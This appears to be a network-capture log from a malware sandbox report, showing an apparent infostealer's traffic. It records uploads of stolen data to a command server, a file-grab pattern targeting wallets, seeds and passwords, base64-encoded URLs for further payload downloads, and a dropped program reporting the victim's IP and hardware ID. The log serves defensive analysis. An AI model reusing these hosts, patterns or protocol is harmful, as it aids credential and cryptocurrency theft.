2024-09-25 16:00:53 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49732	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:54 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:54 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------HDHJEBFBFHJECAKFCAAKCont
2024-09-25 16:00:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:55 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49734	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:57 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 113477 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:57 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------HIDHDGDHJEGHIDGDHCGCCont
2024-09-25 16:00:57 UTC	16355	OUT	Data Raw: 32 4c 71 56 59 51 70 76 53 4d 64 6b 76 7a 39 54 30 69 79 30 6a 54 64 4e 6b 6b 65 78 73 4c 61 32 65 54 37 35 69 6a 43 6b 2f 6c 32 72 7a 62 34 69 66 38 6a 70 42 2f 32 44 6c 2f 39 47 50 58 6f 6d 68 47 36 62 53 59 6d 76 57 76 47 6e 4a 62 50 32 78 49 6b 6c 48 4a 78 6b 52 66 4c 2b 56 65 64 2f 45 54 2f 6b 64 49 50 2b 77 63 76 2f 6f 78 36 36 63 49 6b 73 52 53 53 2f 6d 52 7a 59 6d 63 70 34 58 45 53 6b 37 76 6b 66 36 48 4e 30 6c 4c 52 58 32 35 2b 59 69 55 55 74 4a 54 41 78 39 49 73 59 39 53 31 57 33 74 4a 72 71 47 31 69 6b 62 39 35 4e 4d 34 52 55 58 75 63 6e 6a 4f 4f 67 72 30 6e 55 74 5a 30 4c 78 4a 5a 61 68 34 58 53 35 74 37 57 33 73 49 30 2f 73 32 35 6c 6d 43 70 49 79 44 61 51 57 4a 78 7a 6e 41 39 52 6b 31 78 6d 69 2b 46 66 37 59 31 69 43 77 2b 32 65 54 35 32 37 Data Ascii: 2LqVYQpvSMdkvz9T0iy0jTdNkkexsLa2eT75ijCk/l2rzb4if8jpB/2Dl/9GPXomhG6bSYmvWvGnJbP2xIklHJxkRfL+Ved/ET/kdIP+wcv/ox66cIksRSS/mRzYmcp4XESk7vkf6HN0lLRX25+YiUUtJTAx9IsY9S1W3tJrqG1ikb95NM4RUXucnjOOgr0nUtZ0LxJZah4XS5t7W3sI0/s25lmCpIyDaQWJxznA9Rk1xmi+Ff7Y1iCw+2eT527
2024-09-25 16:00:57 UTC	16355	OUT	Data Raw: 56 69 56 47 75 66 50 43 57 7a 57 69 73 36 6b 76 4a 64 51 4a 4b 6b 53 44 6c 6e 49 64 53 41 41 41 54 57 64 42 72 48 39 73 61 30 6c 77 74 6a 62 51 32 62 36 35 70 74 72 41 67 67 52 64 30 44 65 61 47 33 41 41 44 4c 37 51 57 34 78 32 36 41 56 64 6b 61 37 56 5a 46 74 58 74 77 73 79 65 58 4b 73 39 74 48 4d 72 72 6b 48 42 44 71 77 78 6b 44 74 32 46 5a 39 7a 5a 61 68 4e 50 44 4c 46 63 57 31 71 30 55 30 4e 77 6f 74 37 57 4b 4e 66 4d 69 33 62 47 32 71 67 48 47 39 75 33 4f 65 63 34 46 63 47 4d 77 31 65 70 55 35 6f 4c 54 54 38 31 66 38 44 31 63 75 78 6d 47 6f 30 65 57 71 39 58 66 70 74 32 48 53 36 70 64 2f 62 64 4c 67 6d 74 4e 4e 75 39 51 6b 76 4a 6f 70 59 4e 4f 4d 4c 4b 62 64 69 71 6f 43 59 76 6b 45 6d 53 35 48 63 59 42 4e 53 6d 53 54 2b 32 6a 6f 45 53 77 79 52 53 57 Data Ascii: ViVGufPCWzWis6kvJdQJKkSDlnIdSAAATWdBrH9sa0lwtjbQ2b65ptrAggRd0DeaG3AADL7QW4x26AVdka7VZFtXtwsyeXKs9tHMrrkHBDqwxkDt2FZ9zZahNPDLFcW1q0U0Nwot7WKNfMi3bG2qgHG9u3Oec4FcGMw1epU5oLTT81f8D1cuxmGo0eWq9Xfpt2HS6pd/bdLgmtNNu9QkvJopYNOMLKbdiqoCYvkEmS5HcYBNSmST+2joESwyRSW
2024-09-25 16:00:57 UTC	16355	OUT	Data Raw: 73 64 65 31 55 57 57 6f 52 4e 4a 44 73 5a 77 46 63 71 63 6a 33 46 5a 56 62 76 68 4b 37 74 37 4c 58 42 4e 63 7a 4c 44 45 49 6d 42 63 39 73 69 76 4d 78 79 62 77 38 30 75 78 34 57 57 38 76 31 75 6e 7a 62 58 4d 36 61 78 38 4b 78 65 4b 56 30 54 2b 78 47 66 64 63 70 42 35 38 65 70 4d 77 47 34 67 5a 78 74 36 6a 50 49 7a 31 47 4b 34 6a 78 6c 61 44 53 66 46 75 6f 32 46 68 47 71 32 73 45 67 57 4d 4d 53 78 78 74 48 66 50 72 6d 76 54 76 44 4f 6c 2b 48 4e 4d 53 5a 39 53 76 49 4a 37 78 4c 73 53 51 7a 67 73 54 74 55 68 6c 49 34 34 79 63 35 46 63 62 34 72 30 73 36 72 34 70 31 47 2b 74 35 6c 4d 4d 30 75 35 44 6a 71 4d 43 76 6d 4a 34 4f 56 53 58 4c 52 68 74 2f 58 55 2b 74 78 46 62 44 30 71 66 4e 4e 72 56 2b 58 6e 32 4f 48 55 7a 4f 52 35 6d 33 41 4f 65 42 55 34 64 77 4d 42 Data Ascii: sde1UWWoRNJDsZwFcqcj3FZVbvhK7t7LXBNczLDEImBc9sivMxybw80ux4WW8v1unzbXM6ax8KxeKV0T+xGfdcpB58epMwG4gZxt6jPIz1GK4jxlaDSfFuo2FhGq2sEgWMMSxxtHfPrmvTvDOl+HNMSZ9SvIJ7xLsSQzgsTtUhlI44yc5Fcb4r0s6r4p1G+t5lMM0u5DjqMCvmJ4OVSXLRht/XU+txFbD0qfNNrV+Xn2OHUzOR5m3AOeBU4dwMB
2024-09-25 16:00:57 UTC	16355	OUT	Data Raw: 33 6a 39 61 68 4e 54 53 6e 35 6a 55 52 34 72 30 75 69 4f 2b 47 77 30 38 30 30 38 2f 53 6e 65 76 38 36 61 63 43 70 4e 42 4d 59 70 4f 6c 42 36 38 30 48 6a 38 71 51 77 50 54 76 54 65 63 55 76 65 6b 49 35 71 52 69 44 2b 58 65 6b 36 6a 47 61 58 32 70 44 2f 6b 30 46 41 65 6e 39 61 51 38 5a 6f 2f 6e 53 64 65 39 49 59 48 70 53 48 70 2f 6a 53 2b 76 70 6d 6b 6f 47 4a 6e 46 48 70 30 6f 39 4b 44 31 2f 70 53 47 46 49 54 36 2f 6c 52 69 6a 70 7a 51 42 36 48 52 52 52 57 52 38 6b 46 46 62 6e 68 4f 4e 4a 4e 62 43 4f 6f 5a 54 47 33 42 48 30 72 75 78 70 39 6b 6f 79 34 49 79 66 54 70 2b 6c 65 48 6a 38 35 65 45 78 48 73 46 43 2b 6c 39 37 66 6f 7a 33 38 74 79 4c 36 37 51 39 74 37 54 6c 31 74 74 66 39 55 65 55 55 56 36 76 39 69 74 78 79 6f 66 59 65 6a 69 4d 4f 44 2f 33 7a 56 62 Data Ascii: 3j9ahNTSn5jUR4r0uiO+Gw08008/Snev86acCpNBMYpOlB680Hj8qQwPTvTecUvekI5qRiD+Xek6jGaX2pD/k0FAen9aQ8Zo/nSde9IYHpSHp/jS+vpmkoGJnFHp0o9KD1/pSGFIT6/lRijpzQB6HRRRWR8kFFbnhONJNbCOoZTG3BH0ruxp9koy4IyfTp+leHj85eExHsFC+l97foz38tyL67Q9t7Tl1ttf9UeUUV6v9itxyofYejiMOD/3zVb
2024-09-25 16:00:57 UTC	16355	OUT	Data Raw: 4b 4b 4b 41 45 6f 6f 6f 6f 41 4b 4f 31 46 46 41 43 55 55 55 55 44 43 6b 35 6f 37 30 55 77 43 69 69 69 67 41 6f 6f 4e 4a 51 4d 4b 4b 4b 4b 41 43 6b 6f 6f 6f 41 4b 4b 4b 44 51 4d 44 53 55 55 55 41 46 46 4a 52 51 4d 4b 4b 4b 53 67 59 55 6c 4c 53 55 41 46 46 46 46 41 78 4b 4b 57 6b 4e 41 42 52 52 52 51 4d 53 69 69 69 6d 41 6c 46 46 46 41 78 42 52 52 7a 52 51 41 55 6c 4c 52 51 41 6c 46 46 46 41 78 4f 39 42 6f 70 4b 42 68 53 55 74 4a 51 4d 4b 53 6c 70 4b 41 43 6b 70 61 53 67 59 55 47 69 6b 6f 47 46 46 46 49 61 41 43 67 6d 69 6b 70 6a 43 69 69 6b 6f 47 46 4a 53 30 30 6d 67 45 46 46 46 49 61 42 69 30 6d 61 4b 54 36 30 78 68 6d 69 6b 4c 43 6d 37 71 59 37 43 6d 67 6b 43 6d 45 2b 74 4a 2b 4e 46 79 72 44 69 31 4e 4a 4a 6f 70 4b 56 78 32 43 6b 6f 6f 6f 4b 45 70 44 52 Data Ascii: KKKAEooooAKO1FFACUUUUDCk5o70UwCiiigAooNJQMKKKKACkoooAKKKDQMDSUUUAFFJRQMKKKSgYUlLSUAFFFFAxKKWkNABRRRQMSiiimAlFFFAxBRRzRQAUlLRQAlFFFAxO9BopKBhSUtJQMKSlpKACkpaSgYUGikoGFFFIaACgmikpjCiikoGFJS00mgEFFFIaBi0maKT60xhmikLCm7qY7CmgkCmE+tJ+NFyrDi1NJJopKVx2CkoooKEpDR
2024-09-25 16:00:57 UTC	15347	OUT	Data Raw: 57 47 4d 44 67 31 77 35 73 62 39 5a 31 74 7a 70 31 38 4a 6e 55 75 73 5a 74 5a 4e 78 55 59 42 49 47 4d 34 47 52 2b 59 71 74 49 54 46 4a 4e 48 49 6b 69 53 51 6a 64 4b 6a 52 6b 4e 47 4f 4f 57 47 4d 6a 71 4f 76 71 4b 79 57 58 34 56 7a 75 6e 70 32 76 2f 41 45 7a 73 65 62 35 67 71 66 4b 34 36 39 37 66 30 6a 66 38 54 61 39 46 72 73 6c 71 38 4d 54 78 65 55 72 42 67 2b 44 6e 4f 4f 6e 35 56 68 5a 70 6a 76 35 55 58 6d 79 4a 49 6b 65 31 57 33 74 47 77 58 44 5a 32 6e 4f 4d 59 4f 44 6a 31 77 61 65 79 74 48 49 30 63 69 4f 6a 72 31 56 31 4b 6b 64 2b 68 72 30 4b 4d 61 64 4f 4b 70 30 33 6f 6a 79 4d 54 4f 74 57 6d 36 74 56 61 76 79 73 4a 52 52 52 57 78 7a 43 30 55 36 47 47 61 34 6d 38 71 33 67 6d 6e 6c 32 37 74 6b 4d 62 4f 32 50 58 41 42 34 70 79 57 39 7a 4c 63 79 57 30 56 Data Ascii: WGMDg1w5sb9Z1tzp18JnUusZtZNxUYBIGM4GR+YqtITFJNHIkiSQjdKjRkNGOOWGMjqOvqKyWX4Vzunp2v/AEzseb5gqfK4697f0jf8Ta9Frslq8MTxeUrBg+DnOOn5VhZpjv5UXmyJIke1W3tGwXDZ2nOMYODj1waeytHI0ciOjr1V1Kkd+hr0KMadOKp03ojyMTOtWm6tVavysJRRRWxzC0U6GGa4m8q3gmnl27tkMbO2PXAB4pyW9zLcyW0V
2024-09-25 16:00:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:58 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49735	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:59 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------EGIDAAFIEHIEHJKFHCAECont
2024-09-25 16:00:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:59 UTC	191	IN	Data Raw: 62 34 0d 0a 4d 54 49 77 4e 7a 4d 32 4f 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 5a 6a 51 79 4e 47 55 34 4d 47 49 35 59 32 4e 66 61 57 52 7a 62 57 52 7a 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 4d 54 49 77 4e 7a 4d 32 4f 58 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 5a 6a 51 79 4e 44 64 6b 4e 54 45 34 4d 54 4a 66 62 47 5a 6b 63 32 70 75 59 53 35 6c 65 47 56 38 4d 58 78 72 61 32 74 72 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: b4MTIwNzM2OHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2ZjQyNGU4MGI5Y2NfaWRzbWRzLmV4ZXwxfGtra2t8MTIwNzM2OXxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2ZjQyNDdkNTE4MTJfbGZkc2puYS5leGV8MXxra2trfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49737	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:01 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:01:01 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------DAKEBAKFHCFHIEBFBAFBCont
2024-09-25 16:01:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:01:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:01:02 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49738	188.114.96.3	443	5248	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:04 UTC	170	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue Connection: Keep-Alive
2024-09-25 16:01:04 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-25 16:01:05 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 32 Data Ascii: current_version=0.2
2024-09-25 16:01:05 UTC	617	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Z%2F4cA%2Fir3BCahHLDfv5L%2FdrGaBwUlThaDbIBkREr%2Bv28xupDmfZi%2Fdw%2BjeSUxgB1uKtRxXIO9enDfimMwnqkXSwZmihPTUQ%2F0TaN63%2FmBVVgts1d5Bigk24P3SUwmmeLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b15bd4e43d5-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49739	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:05 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:01:05 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------FCBAECGIEBKKFHIDAKECCont
2024-09-25 16:01:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:01:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:01:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49741	188.114.96.3	443	5248	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:06 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-09-25 16:01:06 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-25 16:01:06 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 34 34 66 38 63 33 65 61 64 61 32 66 66 32 65 36 39 62 36 63 61 32 30 35 32 37 62 63 65 35 63 65 30 63 66 35 37 35 65 34 34 33 38 61 33 33 33 61 38 65 30 39 64 30 66 38 62 39 39 65 31 38 37 30 Data Ascii: ip=8.46.123.33&hwid=44f8c3eada2ff2e69b6ca20527bce5ce0cf575e4438a333a8e09d0f8b99e1870
2024-09-25 16:01:07 UTC	603	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E02NuAnlG6fQBJ7YO0Sc51u2wkQapfZemsq5nq6lZOmNOrP87x0Not8qJzxt5cTlZowTsFC8VTUWoeoVDQg5koySrtscudewPY0aLJ37OHGBmEHAuz%2B38G0Twus5Wk1f0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b206e117ca8-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49742	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:07 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
